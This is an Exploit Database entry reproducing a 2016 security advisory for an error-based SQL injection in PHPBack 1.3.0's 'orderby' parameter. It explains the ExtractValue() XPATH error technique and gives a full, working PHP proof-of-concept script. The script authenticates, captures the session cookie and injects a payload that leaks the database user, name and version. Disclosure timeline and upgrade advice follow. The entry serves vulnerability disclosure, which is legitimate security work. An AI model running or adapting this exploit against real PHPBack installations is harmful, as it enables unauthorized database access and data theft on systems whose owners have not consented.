PHPBack 1.3.0 – SQL Injection

• Exploit Database
• 10 阅读

• 作者： hyp3rlinx
  日期： 2016-04-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39711/

• /*
  [+] Credits: hyp3rlinx
  
  [+] Website: hyp3rlinx.altervista.org
  
  [+] Source:http://hyp3rlinx.altervista.org/advisories/PHPBACK-v1.3.0-SQL-INJECTION.txt
  
  
  Vendor:
  ================
  www.phpback.org
  
  
  Product:
  ================
  PHPBack v1.3.0
  
  
  Vulnerability Type:
  ===================
  SQL Injection
  
  
  CVE Reference:
  ==============
  N/A
  
  
  Vulnerability Details:
  =====================
  
  PHPBack v1.3.0 is vulnerable to boolean blind and error based SQL Injection in the 'orderby' parameter.
  By sending SQL Injection query using MySQL XPATH function ExtractValue() we can grab information
  from the errors generated.
  
  This is useful when we get no output except MySQL errors, we can force data extraction through the error. 
  When using ExtractValue() function to generate error, evaluated results of our SQL query will be embedded
  in query error message. Adding a colon "0x3a" to the beginning of the query will ensure parsing will always
  FAIL generating an error along with our extracted data. This method only works on MySQL version >= 5.1, we can
  then use SQL LIMIT function to move thru database informations.
  
  
  Users should upgrade to v1.3.1
  https://github.com/ivandiazwm/phpback/releases
  
  
  Exploit code(s):
  ===============
  
  Run from CL...
  */
  
  <?php
  error_reporting(0);
  #PHPBACK v1.3.0 ORDER BY SQL INJECTION POC
  #Credit: hyp3rlinx 
  #ISR: apparitionsec
  #Site: hyp3rlinx.altervista.org
  #///////////////////////////////////////////////////////////////////
  #
  #run this BOT from CL it does following...
  #1) authenticates to target
  #2) SQL injection using XPATH query to create error and get output
  # for current MySQL USER(), DATABASE() and VERSION()
  #Supported in MySQL >= 5.1 only
  #====================================================================
  
  $email=$argv[1];
  $pwd=$argv[2];
  
  if($argc<3){
  echo "PHPBack 1.3.0 SQL Injection POC\r\n";
  echo "Outputs USER(), DATABASE() and VERSION() on XPATH Error!\r\n";
  echo "Supported in MySQL >= 5.1 versions only\r\n";
  echo "==========================================================\r\n";
  echo "Enter Creds: <email> <password>\r\n";
  echo "*** by hyp3rlinx *** \r\n";
  exit();
  }
  
  $target="localhost";
  $creds="email=$email&password=$pwd"; 
  
  $fp = fsockopen("localhost", 80, $errno, $errstr, 30);
  sock_chk($fp);
  
  #authenticate
  $out = "POST /phpback-1.3.0/action/login HTTP/1.0\r\n";
  $out .= "Host: $target\r\n";
  $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $out .= 'Content-Length: ' . strlen($creds) . "\r\n";
  $out .= "Connection: Close\r\n\r\n";
  fwrite($fp, $out);
  fwrite($fp, $creds);
  $phpsess="";
  $res="";
  while (!feof($fp)) {
  $res .= fgets($fp, 128);
  if(strpos($res,"\r\n\r\n")!==FALSE){break;}
  }
  
  $sess=get_session($fp);
  function get_session($sock){
  global $res;
  $idx=strpos($res,"PHPSESSID");
  $sess=substr($res,$idx,38);
  return $sess;
  }
  
  #SQL Injection
  $sql="search=1&orderby=title,extractvalue(0x0a,concat(0x0a,(select USER()), 0x0a, (select DATABASE()), 0x0a, (select VERSION())))\r\n";
  
  $fp = fsockopen("localhost", 80, $errno, $errstr, 30);
  sock_chk($fp);
  
  $out = "POST /phpback-1.3.0/admin/ideas HTTP/1.0\r\n";
  $out .= "Host: $target\r\n";
  $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $out .= 'Content-Length: ' . strlen($sql) . "\r\n";
  $out .= "Cookie: " . $sess."\r\n";
  $out .= "Connection: Close\r\n\r\n";
  fwrite($fp, $out);
  fwrite($fp, $sql);
  while (!feof($fp)) {
  echo fgets($fp, 128);
  }
  fclose($fp);
  function sock_chk(&$fp){
  if (!$fp) {echo "Cant connect!";exit();} 
  }
  
  ?> 
  
  
  /*
  Disclosure Timeline:
  =====================================
  Vendor Notification: April 17, 2016
  Vendor Confirms: April 17, 2016
  Vendor Release Fixed Version: April 19, 2016
  April 19, 2016 : Public Disclosure
  
  
  Exploitation Technique:
  =======================
  Remote
  
  
  Severity Level:
  ================
  Medium
  
  
  Description:
  ==================================================
  
  Request Method(s):[+]POST
  
  
  Vulnerable Product: [+] PHPBack v1.3.0
  
  
  Vulnerable Parameter(s):[+] 'orderby'
  
  ====================================================
  
  [+] Disclaimer
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
  The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. All content (c) hyp3rlinx.
  
  by hyp3rlinx
  */